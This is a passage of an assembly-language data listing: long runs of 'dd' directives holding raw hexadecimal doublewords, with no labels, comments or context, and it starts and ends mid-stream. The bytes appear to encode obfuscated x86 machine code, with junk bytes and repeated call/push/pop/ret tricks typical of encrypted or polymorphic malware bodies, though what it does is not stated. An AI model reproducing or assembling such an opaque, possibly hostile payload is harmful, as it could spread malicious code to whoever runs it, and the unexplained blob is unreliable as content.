119D2300h, 0E9061E0Ah, 1Dh dd 3050D88Bh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 9BD8BC0h, 89061E18h, 1E297195h, 69BD8306h dd 3061E31h, 4E1850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0A5B3D6C3h, 6BE8AED3h dd 27BD831Bh, 621B0h, 4B1840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F29A7DC3h dd 0BB664207h, 0B5FF2694h, 621B027h, 0CB816653h, 0FF5B918Dh dd 1E155595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0DD8B7E23h, 391BBB66h, 8BD98B66h dd 21B01BB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0F026216h, 8Eh, 106C700h, 66000100h dd 3764DB81h, 11E896h, 6AEE0000h, 5E8C46B7h, 447F7BB2h dd 887ECE7Dh, 508389B4h, 14E852h, 628F0000h, 0E90A2D41h dd 0D5AC1F96h, 0B8ACD438h, 0F9FEC317h, 0F5B3148h, 6E831h dd 0FDE30000h, 749BFE55h, 5F585A5Fh, 0F98B6650h, 0DB816696h dd 0B5FF3D91h, 621B027h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0ACC35747h, 0EEBFD691h, 7007D0BBh, 0FFDC8A1Ch dd 1E2B3D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0B5892B7Eh, 61E2B31h, 0B01BB58Bh dd 9D8B0621h, 61E22D1h, 2A21858Bh, 0D781061Eh, 51B041E2h dd 0C48689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8B46ECC3h, 1E29DD9Dh, 75958B06h dd 6A061E23h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0A855C357h, 9E96D80h, 95000000h dd 0FA63C6E7h, 308B73C3h, 0C283FE8Bh, 57006A04h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0FC605050h, 8B0Fh, 5B610000h, 4870Fh, 0BB660000h, 508977ADh dd 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 7ADC938Bh, 0B99D29B7h, 0E8061E1Ch, 0Ch dd 72238D4Dh, 0B2883C67h, 0C6CB1AF5h, 6B08DF81h, 8D5B6FCCh dd 21C4A485h, 0DDBD8B06h, 89061E0Ch, 0B886h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0A5F6020Ch, 7F3D1F8h, 6A006A3Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 591DC355h dd 80AFF9EFh, 0C781666Ah, 0B5FF1E91h, 621B027h, 50CABB66h dd 32F995FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0EF81A7C3h, 24FCAB74h, 69BF6650h dd 2434896Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0F6C35747h, 0B8617B6Ch, 66EC3E72h, 0FFF8DF8Bh dd 21B027B5h, 168B0F06h, 60000000h, 2A89BD8Bh, 9E9061Eh dd 7000000h, 0B157CEB4h, 0F3EA3DE3h, 4995FF61h, 6A061E30h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0B218C350h, 0DB9BD83h, 0F00061Eh, 3E84h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0F75879F1h, 6860F8Dh, 8B000000h, 1E14F19Dh dd 29BD8B06h, 50061E1Bh, 6949BF66h, 66243489h, 0FF8ED8BFh dd 21B027B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0FACA86A4h, 90CF8E44h, 2FB9BD8Bh dd 0B70F061Eh, 4D95FFFAh, 6A061E16h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 36B3C356h dd 359C9D1Eh, 8509F52Ah, 61E0955h, 0B027B5FFh, 81660621h dd 0FF7B26F3h, 1E09DD95h, 8E85106h, 71000000h, 9ECBB28Eh dd 0E91B9E2Eh, 12h, 0C1EB8036h, 23544725h, 70E2AF2Bh, 9C5C2761h dd 5B5F28CAh, 2BD9BD83h, 0F02061Eh, 7584h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0F98B03CAh, 0E2D858Bh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0A6730C3h, 0F6E781DBh dd 0C637384Ch, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0C5A840C3h, 93E45FB6h, 4898589h dd 85C7061Eh, 61E1F81h, 0 dd 11E9h, 0A9488100h, 466CD383h, 3462C8BBh, 0B310A1E8h dd 0A1BBD73Fh, 0E945E71Bh, 0FFFFF308h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 58C35545h, 0D86E28F5h, 8B5BAC05h dd 5FF557C1h, 19DD858Dh, 8B60061Eh, 1E0785B5h, 199D2906h dd 61061E2Dh, 0BF525090h, 72F2B0B8h, 8BBB310Fh, 5A1BA3A3h dd 0BB665058h, 6A90B6D0h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0F2BC351h, 688h, 91BD8B00h dd 6A061E07h, 1DBD8B00h, 6A061E0Ah, 799D8B00h, 2B061E2Dh dd 1E1DDDBDh, 9F858D06h, 81062290h, 0C29A6CDFh, 5C0837Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0FEC35141h dd 86D6B6EAh, 10E9AD84h, 10000000h, 1287F4FDh, 0F843B888h dd 7C1A2C4Fh, 909750D4h, 5A0C70BBh, 0FE8B501Ch, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0CA79E34Dh, 0B6024CE3h, 2960006Ah, 1E2B89BDh, 5952906h dd 61061E0Eh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0FFF8C6C3h, 1E21ED95h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 698E36A3h, 5DBBC120h, 522AEAE1h, 1B19BD8Bh, 8D5F061Eh dd 2194B68Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 653C7276h, 0E094657Dh, 816622BCh dd 0F616DF3h, 88Ch, 0B5015300h, 61E1A39h, 6AD1FF5Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 1063C355h, 0F1DBAE5h, 29F543E3h, 1E0E399Dh, 2DBD8306h dd 1061E27h, 55850Fh, 6AF50000h, 53006A02h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 567A9539h dd 0A0BFE103h, 535362DAh, 12E95Bh, 7ED10000h, 0FCAC1829h dd 0DA7B2FD1h, 0D7D37CA7h, 0D2CA6EAAh, 24048950h, 97DF8166h dd 0F995FF02h, 66061E32h, 0E9ACB2BBh, 0D64h, 0E8h, 0ED815D00h dd 62290A9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 28C35545h, 5E7E2CF3h, 1F3D8589h, 6AF8061Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 3A8BC357h, 1A919D8Bh, 858D061Eh, 6218DFEh, 10E9h, 6371FE00h dd 99C4614Fh, 7F1FDF39h, 51373218h, 575090A6h, 8832BF66h dd 0B589905Fh, 61E146Dh, 35FF64h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0A267C357h, 0B9138C91h, 698D89B2h, 64061E16h, 2589h dd 0FE80000h, 4F000000h, 734561DEh, 99303BE5h, 76D7D9Dh dd 8E0FD4C7h, 6, 805BD8Bh, 0FF5B061Eh, 1E1D9185h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 14E95660h, 0BC000000h, 9D54A913h, 0B33A114Ah, 0D2E5F8C9h dd 45AFA4E4h, 6A9661B1h, 0AD9529FFh, 0FF061E2Dh, 1E1F59B5h dd 41BD8B06h, 0FF061E0Dh, 1E165595h, 10AE906h, 10E90000h dd 0F0000000h, 4C36522h, 0A6C17A5Eh, 0E0DB6259h, 0B031727Dh dd 11E900h, 76020000h, 67E14E97h, 5D96E7E5h, 0B1E6402Ch dd 0E615E65Ch, 5919BF70h, 71E4482Fh, 0C69BD2Bh, 613C061Eh dd 0C6830Fh, 9D8B0000h, 61E2EEDh, 1DD9D01h, 0B60F061Eh dd 499589C8h, 0BA061E23h, 6, 14E8C18Bh, 5E000000h, 1A9559D3h dd 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh, 8B630E6Eh, 1E0325BDh dd 0E8C15F06h, 2D952904h, 66061E12h, 0B70FE2F7h, 0D4BF66FFh dd 8BC82BB6h, 499529D1h, 0E9061E20h, 6, 1FF1BD29h, 858B061Eh dd 61E2C59h, 0C08318B3h, 8ADE8B07h, 0C083FDh, 0EA1BD89h dd 0D03B061Eh, 14830Fh, 9D8B0000h, 61E02A5h, 37E9h, 0F88B6600h dd 14218D01h, 8D8B061Eh, 61E1FA5h, 7909BF66h, 0F01E183h dd 1B84h, 0A5A58300h, 0FE061E1Fh, 1FD9D89h, 89F8061Eh dd 1E2C5995h, 0E9FE8B06h, 0 dd 0DD4B58Dh, 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0FC418DC3h, 0D158D09h, 6A061Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 42C35040h dd 9F2272F4h, 0F9378A9h, 66FCF9BFh, 95FFD88Bh, 61E26C1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 66C35747h dd 1A65837Bh, 41DC909Bh, 803B9h, 0A1950100h, 83061E23h dd 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0B8DA5C3h, 1620A875h, 0FB8B6682h, 0B8FCh dd 9EBF0000h, 0BA08294Eh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A8C35141h dd 0F8D23F6h, 182h, 33ADF900h, 3E8D1C2h, 4E983D0h, 9D8BF475h dd 61E05D9h, 38C0Fh, 0B70F0000h, 880DF9h, 8C0F0000h, 2 dd 958B5F52h, 61E2375h, 0C99D8950h, 5B061E1Fh, 324D8D8Bh dd 8166061Eh, 50FC6BF3h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 0B70FF958h, 59BD83DBh, 61E02h, 88840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0FE3488C3h, 0DA59501h, 0B8061Eh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 9EE9C352h, 3084ABFCh, 8D9589E8h, 8D061E32h, 1E4CB88Dh dd 8A0F06h, 0FF000000h, 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 6C55BBE9h, 0C72824E0h dd 1A29BD8Bh, 0BD83061Eh, 61E3169h, 2A840F00h, 0E9000004h dd 0Eh, 0C9B6A744h, 5C253485h, 0BDBF3B9Ah, 0BD837C60h dd 61E3169h, 25840F01h, 60000004h, 4FD9501h, 8361061Eh dd 1E3169BDh, 860F0306h, 3DAh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 22C35343h, 44EC076Ch, 0E59D8B88h dd 60061E19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 56C35545h, 830FBD5Ch, 0B331BB59h, 8C664E4Eh, 52006AD9h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0B4D215A8h, 29B5312Bh, 80061E08h, 0CE904E1h, 0E5000000h dd 0A55F7D87h, 622F02C7h, 0E9048AA1h, 0Dh, 753C6240h, 46543C33h dd 17AC41D3h, 0FC90AE7h, 12284h, 7E800h, 0FA250000h, 25E81835h dd 0D1BD8908h, 5F061E1Ch, 1A11858Bh, 6A061Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8533D1C3h dd 61E14BDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 22C35545h, 0A6B6FA8Ch, 188A0FF0h, 0E9000000h, 13h dd 8B3BD6B5h, 374F8958h, 197CF544h, 485F2A17h, 50407AA7h dd 0B727BB66h, 66240489h, 5E91C381h, 0BD89006Ah, 61E03FDh dd 8A94AA68h, 24348155h, 55959755h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 29C35141h, 95FFEC76h, 61E1441h dd 2E1BD03h, 8589061Eh, 621B027h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0FAC35242h, 1CBE9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 15E23225h, 7C867EA4h, 6830F00h, 89000000h, 1E2FF1BDh dd 1DBD8B06h, 8B061E16h, 21B01F85h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD899DACh dd 61E1FA9h, 208D9D29h, 0C7061Eh, 18h, 6840Fh, 0B5290000h dd 61E3385h, 0B023B58Bh, 0BF0F0621h, 0C9858BD9h, 89061E1Ch dd 1E1B91B5h, 8B068906h, 1E0E51BDh, 31DB8006h, 1A11858Bh dd 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 6C5B85C3h, 4689746Eh, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0D5A5E59Dh dd 529C8447h, 50965C67h, 68D0F52h, 50000000h, 5A310F52h dd 0E9310F58h, 0Ah, 0E774666Bh, 746AAD0Fh, 585A238Bh, 5800F50h dd 57000000h, 5BDF8B66h, 10E996h, 1F3F0000h, 0C2218C9Fh dd 0D2FB09AEh, 0FEE5CC2Ah, 0B5FF4EABh, 621B01Fh, 6800Fh dd 85890000h, 61E0DF1h, 9D8D89h, 0B168061Eh, 0E9E8C454h dd 14h, 754363C5h, 32BD71D0h, 3552EAh, 766A5761h, 729E47AFh dd 4E240481h, 89175AAFh, 1E079985h, 27858D06h, 6A0621B0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 531BC351h, 1BAD9D8Bh, 8B90061Eh, 605750DEh dd 0C050BB66h, 8B905B61h, 1E1AA19Dh, 4195FF06h, 6A061E14h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 37B5C357h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 9833B8Eh, 1E1A45B5h, 6985C706h dd 3061E31h, 66000000h, 811C9CBFh, 0F568E9DFh, 27BD837Fh dd 621B0h, 38840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 991FE9C3h, 118B0D2h dd 1E07D1B5h, 27E906h, 7E90000h, 85000000h, 0D89F0BDFh dd 3050371Ch, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 918D31C0h, 0F061E2Ch, 580h, 0F7816600h, 0BD83D9D0h dd 61E3169h, 79850F03h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 796BC356h dd 0F7816602h, 9589C030h, 61E3355h, 0B027BD83h, 0F000621h dd 44384h, 0B5FFFC00h, 621B027h, 0FFF9BF0Fh, 1E155595h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0FBBF0F02h, 0B01BB58Bh, 85010621h, 61E25DDh dd 7E9h, 9A69D800h, 6FF5C946h, 106C7h, 80600001h, 8B66BED1h dd 12E861C7h, 1F000000h, 116E939Dh, 0F0106856h, 4BDBBD1h dd 835B1220h, 0FE985h, 32F50000h, 45A64512h, 0BF6198F2h dd 8DC2E6C3h, 66965BF2h, 9650DF8Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 79C35040h, 0F1BD894Eh, 0F061E2Ah dd 585h, 0D5DDBB00h, 0B5FF3BF4h, 621B027h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D5C35242h, 0FFFE8B66h dd 1E2B3D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 1FC5E3B9h, 9E885h, 5E2B0000h, 18F86697h dd 0E9338215h, 14h, 0C5398F9Ch, 8F9E7A0Dh, 0A54C3C8Bh dd 7601A456h, 0FA17A914h, 1BB58B5Fh, 6A0621B0h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0B744C352h, 5CFFEC70h, 81665574h, 0F07EADBh, 858BD9B7h dd 61E2A21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 56C35747h, 7A760F6Ah, 0C48689A9h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 4C8EC355h, 0F03AFCFFh, 0B2CCA95Bh, 6830Fh, 0BD8B0000h dd 61E0C39h, 68C0Fh, 95890000h, 61E1ADDh, 12E8h, 0D02FE000h dd 5B2FB1EBh, 0C4BF4CCEh, 0AF8C0D6Fh, 0F5BF10BDh, 75958B5Bh dd 80061E23h, 0C28308D7h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 429E17ADh dd 3EF27B47h, 89F88A6Ch, 6A2050h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h dd 0EDDF97C3h, 0BD8B6052h, 61E2365h, 2DAD9D8Bh, 0E961061Eh dd 0Bh, 96C5C8E4h, 5CCF0A63h, 8DD6A7A4h, 21C4A485h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 4C7B690Bh, 37EDE2DAh, 8B66A052h, 0F8B70FFAh, 0B88689h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 1B47A2C3h, 0C77D3FD9h, 6A1C15EAh, 4820F00h dd 66000000h, 0FFD975BFh, 21B027B5h, 2AF38006h, 32F995FFh dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 4990AEC3h, 89818E1Eh, 1E0449BDh, 8B669606h dd 8B9650F9h, 1E2A299Dh, 27B5FF06h, 6A0621B0h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 8369C350h, 0BD4BA613h, 340C6E14h, 2C4CE0BFh, 0D8BF0F58h dd 304995FFh, 9D8B061Eh, 61E03E5h, 0DB9BD83h, 0F00061Eh dd 4284h, 59952900h, 96061E22h, 7569BB66h, 0EE950h, 69BA0000h dd 30A3DD54h, 68AD3531h, 700A7A91h, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 79BD8BECh dd 0FF061E0Eh, 21B027B5h, 4D95FF06h, 0FF061E16h, 21B027B5h dd 8763BF06h, 95FF3358h, 61E09DDh, 2BD9BD83h, 0F02061Eh dd 6084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0D068FE3h, 0AF47B6BDh, 858B58CEh dd 61E0E2Dh, 0D9980CBFh, 0FD952913h, 0C6061E2Ch, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 1B5F73C3h, 89FA7FB1h, 1E160195h, 8185C706h, 61E1Fh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 69A2C353h, 0FE69946Ch, 0F860A747h dd 6129E580h, 0FFF3F6E9h, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 4503DA8Fh dd 21B7AB8Dh, 156C47Bh, 1E01DD95h, 0DE95F06h, 0DE000000h dd 8E138B04h, 763CB55Ch, 415F3919h, 8D89C18Bh, 61E0131h dd 19DD858Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 601D85C3h, 5090AE9Ch, 6A90DA8Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0D3FCC353h, 8BF79C57h, 1E064D9Dh, 7D858906h dd 6A061E0Ch, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0A3D8AC74h, 0BD8BFCBDh, 61E0835h dd 0F6D38166h, 89006A76h, 1E0E5D9Dh, 0EA858D06h, 6A06229Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 837CC355h, 9D31A274h, 61E21D5h, 8105C083h dd 0B62E05C7h, 10E99079h, 1000000h, 66FADC13h, 0E635B0E5h dd 69CA5FDCh, 50E7CE84h, 6E8h, 30DDBB00h, 8B3428ABh, 6A905BDEh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0FC5C357h, 38Fh, 0D98B6600h, 9D89006Ah, 61E04E1h dd 2E018D89h, 6A061Eh, 10E8h, 0D878D800h, 0EA2164DFh, 3A15C0EFh dd 0F666CD7Fh, 18D0F21h, 0F9000000h, 0ED95FF5Fh, 6A061E21h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 941C350h, 4AD2DB64h, 0E9E4CBF0h, 0Eh, 82E5A860h dd 0E67E04E3h, 330EBE97h, 9D0BD68Fh, 61E001Dh, 94B68D8Dh dd 0C7810621h, 23F7C129h, 0B501D1FFh, 61E2751h, 272DBD83h dd 0F01061Eh, 4585h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0A9B7C3h, 31C1E355h, 1E23018Dh dd 0F026A06h, 6650F9B7h, 89F3BFBBh, 0F8602404h, 830Fh dd 0FF610000h, 1E32F995h, 96E9FC06h, 0E800000Eh, 0 dd 0F4ED815Dh, 0F806229Fh, 1CED9D8Bh, 858D061Eh, 6218DFEh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0BDC35242h dd 6CFD3894h, 0F8F781C8h, 8903AEC5h, 1E09FD85h, 0DE8B6606h dd 39BB6690h, 0BFBF500Fh, 9005DB73h, 0DE9h, 52586E00h dd 7E5CA94Bh, 9BBAF30Eh, 870FC070h, 8, 2810Fh, 77B70000h dd 35FF64h, 0E8000000h, 13h, 0C0128FAFh, 0EC89E71Eh, 0B81F4286h dd 0C1F0A010h, 0F14257Ch, 68Ch, 5852900h, 5F061E23h, 258964h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 8351C350h, 8616FCFBh, 0F98B66C4h dd 1D9185FFh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 12B786C3h, 0A5BB19D8h, 0F65F4EBh dd 38Ch, 5BFC5300h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0A2B80C3h, 267DACA7h dd 9E8E2DFh, 0F6000000h, 3325B537h, 0AE0B70ECh, 5FFE8B66h dd 1475B5FFh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0B7ECC8C3h, 71BD01A8h, 0FF061E0Ch dd 1E165595h, 120E906h, 81660000h, 0B0C576F3h, 70E6FC00h dd 0FE971E4h, 0B9000000h, 84989FCBh, 453BF84Fh, 20D75935h dd 613C902Fh, 0F8830Fh, 9500000h, 1E2965B5h, 0B60F5F06h dd 148D0FC8h, 0E9000000h, 0Fh, 7F6A66E9h, 0ABE7A0BDh, 75697D81h dd 0BA650D3Eh, 6, 238D9D03h, 0C18B061Eh, 0FE9h, 6D96B700h dd 0AB7FE8B2h, 3102A939h, 87B83CF7h, 6604E8C1h, 0F9BC36BFh dd 89E2F766h, 1E1A919Dh, 0BFC82B06h, 697789F7h, 8166D18Bh dd 8B08D8E7h, 1E29F99Dh, 5E906h, 0DF8B0000h, 8BFEB70Fh dd 1E17F585h, 85BD8906h, 83061E21h, 870F07C0h, 0 dd 6600C083h, 728BEF81h, 30659D8Bh, 0D03B061Eh, 11830Fh dd 8D090000h, 61E0889h, 4DE9h, 899D2900h, 8B061E07h, 1E0E618Dh dd 13E806h, 0AC9C0000h, 0A1322A20h, 34E7A33Ah, 2A06D25Fh dd 97E30338h, 0CD9D8B95h, 5F061E0Ch, 0F01E183h, 1984h dd 61A58300h, 0FE061E0Eh, 9589FE8Bh, 61E17F5h, 0CADB8166h dd 0E9D0h, 0B58D0000h, 6221769h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 26C35747h, 4464540Ah, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 75D45FC3h, 0BC2251BBh, 0ECDF8157h, 5B41E972h, 2EF4BF66h dd 26C195FFh, 89F5061Eh, 1E1CDD9Dh, 7DCB906h, 0BD8B0000h dd 61E0971h, 0F9FCE183h, 919D8BFCh, 0B8061E1Ah, 0 dd 0E860Fh, 60600000h, 5E961h, 632D0000h, 619E946Bh, 0BAh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 59BD8B0Ah, 0AD061E03h, 0E8D1C233h, 0E983D003h dd 0E8F47504h, 6, 598C97D4h, 11E9D758h, 95000000h, 0B0D197BFh dd 16921481h, 1D4AB1CCh, 0A7CA855Fh, 0D8A0F5Bh, 60000000h dd 19E59D8Bh, 0B0B9061Eh, 6158A49Dh, 880Dh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0BAFE1295h, 299D8D89h, 0BF66061Eh, 958B12DEh, 61E2375h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 74C35343h dd 665657BDh, 0BF0F2309h, 459D09FBh, 0E9061E1Bh, 12h, 4A875C60h dd 0AA7B5F13h, 3EA3C3AAh, 3B29F313h, 8D8BBD64h, 61E324Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C7C35545h dd 0F48D0408h, 2C8DAC97h, 919D2BD0h, 50061E31h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 81EBC065h dd 281BD8Bh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 523A76C3h, 0D361E4E5h, 0FE4FA6Ah dd 58Dh, 0D7816600h, 0BD835109h, 61E0259h, 71840F00h, 8B000000h dd 1E1E119Dh, 0B806h, 8B660000h, 0B88D8DF8h, 6A061E4Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 6E65C352h, 72A61853h, 14E851h, 0A7200000h dd 65871D82h, 0DCAAFD16h, 5F9AC863h, 0DBB0ABF8h, 5BF9075Eh dd 12E95Bh, 64C80000h, 230FE68h, 0CA3677B2h, 339D7F8Ah dd 0C11113C4h, 0BD89E1FFh, 61E0D75h, 3169BD83h, 0F00061Eh dd 47084h, 68B0F00h, 9000000h, 1E2C65B5h, 69BD8306h, 1061E31h dd 472840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 677612C3h, 7D74660h, 7DB58951h dd 83061E2Bh, 1E3169BDh, 860F0306h, 406h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0E8C35646h, 80FAB024h dd 0C38039DBh, 0E86060EFh, 0Bh, 9F112919h, 42D3994Eh, 897AABAAh dd 1E14FD8Dh, 81665F06h, 611A37C3h, 6AD98C66h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 8018C353h, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 544438C3h, 13A0690Eh, 17D014Dh dd 1E092D85h, 0FC90A06h, 12F84h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 4B2B1Fh, 0DE950h dd 1B550000h, 470DC037h, 